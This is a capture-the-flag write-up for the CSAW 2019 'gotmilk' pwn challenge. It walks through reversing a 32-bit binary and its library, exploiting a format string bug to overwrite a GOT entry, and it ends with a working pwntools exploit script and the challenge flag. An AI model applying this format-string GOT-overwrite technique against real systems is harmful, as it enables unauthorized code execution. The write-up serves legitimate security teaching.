category : pwn
points : 50
Description
GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004
Two files : gotmilk, libmylib.so
Writeup Let’s check the file type and security properties:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ file gotmilk gotmilk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=703440832efdbe6e4cbf734b303a31c4da7eb4e2, with debug_info, not stripped $ checksec --verbose --file=gotmilk RELRO : Partial RELRO STACK Canary : No NX : Enabled PIE : No RPATH : No RPATH RUNPATH : No RUNPATH Symbols : 76 Fortify : No Fortified : 0 Fortifiable : 2
If we try to execute the program we get an error because the loader can’t find the libmylib.so
, to fix the error we need to copy the library in /usr/lib32
.
Then we can easily ltrace
the binary :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ ltrace ./gotmilk __libc_start_main(0x80485f6, 1, 0xffc1cc04, 0x80486d0 <unfinished ...> setvbuf(0xf7f69d40, 0, 2, 0) = 0 setvbuf(0xf7f69580, 0, 2, 0) = 0 setvbuf(0xf7f69ca0, 0, 2, 0) = 0 puts("Simulating loss..." Simulating loss... ) = 19 lose(0, 0xc10000, 1, 0xf7fec800 No flag for you! ) = 18 printf ("Hey you! GOT milk? " Hey you! GOT milk? ) = 19fgets(aaa "aaa\n" , 100, 0xf7f69580) = 0xffc1caecprintf ("Your answer: " Your answer: ) = 13printf ("aaa\n" aaa) = 4 lose(0, 0xc10000, 1, 0xa616161 No flag for you! ) = 18 +++ exited (status 0) +++
As we can see the binary calls the function lose two times, let’s see what functions are available on libmylib.so
using radare2.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 $ r2 -d libmylib.so [0xf7f77090]> aaa [0xf7f77090]> afl 0xf7f77090 1 4 entry0 0xf7f771f8 2 49 -> 44 sym.lose 0xf7f77040 1 6 sym.imp.puts 0xf7f77189 6 111 sym.win 0xf7f770a0 4 57 -> 52 sym.deregister_tm_clones 0xf7f77185 1 4 sym.__x86.get_pc_thunk.dx 0xf7f770e0 4 71 sym.register_tm_clones 0xf7f77130 5 71 entry.fini0 0xf7f77080 1 6 sym..plt.got 0xf7f77180 1 5 entry.init0 0xf7f7722c 1 20 sym._fini 0xf7f77000 3 32 map.home_meowmeow_CeSeNA_pump_ctf_csaw_quals_2019_gotmilk_libmylib.so.r_x 0xf7f77030 1 6 sym.imp.fclose 0xf7f76000 32 4128 -> 4132 loc.imp._ITM_deregisterTMCloneTable 0xf7f77050 1 6 sym.imp.fopen 0xf7f77060 1 6 sym.imp.putchar 0xf7f77070 1 6 sym.imp.getc # We have a function called win, let's see... / (fcn) sym.win 111 | sym.win (); | ; var int32_t var_10h @ ebp-0x10 | ; var int32_t var_ch @ ebp-0xc | ; var int32_t var_4h @ ebp-0x4 | 0xf7f77189 55 push ebp | 0xf7f7718a 89e5 mov ebp, esp | 0xf7f7718c 53 push ebx | 0xf7f7718d 83ec14 sub esp, 0x14 | 0xf7f77190 e8fbfeffff call entry0 | 0xf7f77195 81c36b2e0000 add ebx, 0x2e6b | 0xf7f7719b 83ec08 sub esp, 8 | 0xf7f7719e 8d8300e0ffff lea eax, [ebx - 0x2000] | 0xf7f771a4 50 push eax | 0xf7f771a5 8d8302e0ffff lea eax, [ebx - 0x1ffe] | 0xf7f771ab 50 push eax | 0xf7f771ac e89ffeffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode) | 0xf7f771b1 83c410 add esp, 0x10 | 0xf7f771b4 8945f4 mov dword [var_ch], eax | 0xf7f771b7 837df400 cmp dword [var_ch], 0 | ,=< 0xf7f771bb 7435 je 0xf7f771f2 | ,==< 0xf7f771bd eb0e jmp 0xf7f771cd | || ; CODE XREF from sym.win @ 0xf7f771e2 | .---> 0xf7f771bf 83ec0c sub esp, 0xc | :|| 0xf7f771c2 ff75f0 push dword [var_10h] | :|| 0xf7f771c5 e896feffff call sym.imp.putchar ; int putchar(int c) | :|| 0xf7f771ca 83c410 add esp, 0x10 | :|| ; CODE XREF from sym.win @ 0xf7f771bd | :`--> 0xf7f771cd 83ec0c sub esp, 0xc | : | 0xf7f771d0 ff75f4 push dword [var_ch] | : | 0xf7f771d3 e898feffff call sym.imp.getc ; int getc(FILE *stream) | : | 0xf7f771d8 83c410 add esp, 0x10 | : | 0xf7f771db 8945f0 mov dword [var_10h], eax | : | 0xf7f771de 837df0ff cmp dword [var_10h], 0xffffffffffffffff | `===< 0xf7f771e2 75db jne 0xf7f771bf | | 0xf7f771e4 83ec0c sub esp, 0xc | | 0xf7f771e7 ff75f4 push dword [var_ch] | | 0xf7f771ea e841feffff call sym.imp.fclose ; int fclose(FILE *stream) | | 0xf7f771ef 83c410 add esp, 0x10 | | ; CODE XREF from sym.win @ 0xf7f771bb | `-> 0xf7f771f2 90 nop | 0xf7f771f3 8b5dfc mov ebx, dword [var_4h] | 0xf7f771f6 c9 leave \ 0xf7f771f7 c3 ret
Ok, so the win function open a file, to check which file we can see the strings that are in the library :
1 2 3 4 5 $ rabin2 -z libmylib.so [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x00002002 0x00002002 8 9 (.rodata) ascii flag.txt 001 0x0000200b 0x0000200b 17 18 (.rodata) ascii \nNo flag for you!
Without too many problems is easy to see that the fopen in the win function will read "flag.txt"
. An alternative way was to use cutter or ghidra.
How to pwn?
From the ltrace we can see that this binary is vulnerable to a format string, let’s prove it :
1 2 3 4 5 6 7 8 $ python -c 'print("aaaa" + "%08x." * 10)' | ./gotmilk Simulating loss... No flag for you! Hey you! GOT milk? Your answer: aaaa00000064.f7f4d580.0804866f.00000000.00c10000.00000001.61616161.78383025.3830252e.30252e78. No flag for you!
Ok, we have also computed the offset that we need to redirect the %n
, now we need to see which values we need to write :
1 2 3 4 from pwn import *lib = ELF('./libmylib.so' ) print hex(lib.symbols['lose' ])print hex(lib.symbols['win' ])
output :
1 2 3 0x11f8 # lose 0x1189 # win # Only the last byte change
Alternative way using gdb
:
1 2 3 4 5 6 7 $ gdb -q ./gotmilk pwndbg> start p win $1 = {void (void)} 0xf7f7e189 <win> pwndbg> p lose $2 = {void (void)} 0xf7f7e1f8 <lose> # Only the last byte change
Then we need to know the address of lose in the GOT (we need to overwrite that value with the memory address of win).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 pwndbg> disass main Dump of assembler code for function main: 0x080485f6 <+0>: lea ecx,[esp+0x4] 0x080485fa <+4>: and esp,0xfffffff0 0x080485fd <+7>: push DWORD PTR [ecx-0x4] 0x08048600 <+10>: push ebp 0x08048601 <+11>: mov ebp,esp 0x08048603 <+13>: push ebx 0x08048604 <+14>: push ecx 0x08048605 <+15>: sub esp,0x70 0x08048608 <+18>: call 0x8048530 <__x86.get_pc_thunk.bx> 0x0804860d <+23>: add ebx,0x19f3 0x08048613 <+29>: mov eax,DWORD PTR [ebx-0x4] 0x08048619 <+35>: mov eax,DWORD PTR [eax] 0x0804861b <+37>: push 0x0 0x0804861d <+39>: push 0x2 0x0804861f <+41>: push 0x0 0x08048621 <+43>: push eax 0x08048622 <+44>: call 0x80484c0 <setvbuf@plt> 0x08048627 <+49>: add esp,0x10 0x0804862a <+52>: mov eax,DWORD PTR [ebx-0x8] 0x08048630 <+58>: mov eax,DWORD PTR [eax] 0x08048632 <+60>: push 0x0 0x08048634 <+62>: push 0x2 0x08048636 <+64>: push 0x0 0x08048638 <+66>: push eax 0x08048639 <+67>: call 0x80484c0 <setvbuf@plt> 0x0804863e <+72>: add esp,0x10 0x08048641 <+75>: mov eax,DWORD PTR [ebx-0x10] 0x08048647 <+81>: mov eax,DWORD PTR [eax] 0x08048649 <+83>: push 0x0 0x0804864b <+85>: push 0x2 0x0804864d <+87>: push 0x0 0x0804864f <+89>: push eax 0x08048650 <+90>: call 0x80484c0 <setvbuf@plt> 0x08048655 <+95>: add esp,0x10 0x08048658 <+98>: sub esp,0xc 0x0804865b <+101>: lea eax,[ebx-0x18b0] 0x08048661 <+107>: push eax 0x08048662 <+108>: call 0x80484a0 <puts@plt> 0x08048667 <+113>: add esp,0x10 0x0804866a <+116>: call 0x8048480 <lose@plt> 0x0804866f <+121>: sub esp,0xc 0x08048672 <+124>: lea eax,[ebx-0x189d] 0x08048678 <+130>: push eax 0x08048679 <+131>: call 0x8048470 <printf@plt> 0x0804867e <+136>: add esp,0x10 0x08048681 <+139>: mov eax,DWORD PTR [ebx-0x8] 0x08048687 <+145>: mov eax,DWORD PTR [eax] 0x08048689 <+147>: sub esp,0x4 0x0804868c <+150>: push eax 0x0804868d <+151>: push 0x64 0x0804868f <+153>: lea eax,[ebp-0x6c] 0x08048692 <+156>: push eax 0x08048693 <+157>: call 0x8048490 <fgets@plt> 0x08048698 <+162>: add esp,0x10 0x0804869b <+165>: sub esp,0xc 0x0804869e <+168>: lea eax,[ebx-0x1889] 0x080486a4 <+174>: push eax 0x080486a5 <+175>: call 0x8048470 <printf@plt> 0x080486aa <+180>: add esp,0x10 0x080486ad <+183>: sub esp,0xc 0x080486b0 <+186>: lea eax,[ebp-0x6c] 0x080486b3 <+189>: push eax 0x080486b4 <+190>: call 0x8048470 <printf@plt> 0x080486b9 <+195>: add esp,0x10 0x080486bc <+198>: call 0x8048480 <lose@plt> # Disass here 0x080486c1 <+203>: mov eax,0x0 0x080486c6 <+208>: lea esp,[ebp-0x8] 0x080486c9 <+211>: pop ecx 0x080486ca <+212>: pop ebx 0x080486cb <+213>: pop ebp 0x080486cc <+214>: lea esp,[ecx-0x4] 0x080486cf <+217>: ret End of assembler dump. pwndbg> disass 0x8048480 Dump of assembler code for function lose@plt: 0x08048480 <+0>: jmp DWORD PTR ds:0x804a010 0x08048486 <+6>: push 0x8 0x0804848b <+11>: jmp 0x8048460 End of assembler dump. pwndbg> x 0x804a010 # lose_got # Here we need to set the address of win 0x804a010 <lose@got.plt>: 0x08048486
Now we just need to write in the last byte of 0x804a010
0x89 = 137
(last byte of win). To do it we can use %7$hhn
(no h
= write 4 bytes, one h
= write 2 bytes, two h
= write 1 byte).
Exploit 1 2 3 4 5 6 7 8 9 10 11 from pwn import *conn = remote('pwn.chal.csaw.io' , 1004 ) lose_got = 0x0804a010 payload = p32(lose_got) + "%133x" + "%7$hhn" log.info(conn.recvuntil('milk? ' )) conn.sendline(payload) log.info(conn.recvline()) log.info(conn.recvline())
Flag flag{y0u_g00000t_mi1k_4_M3!?}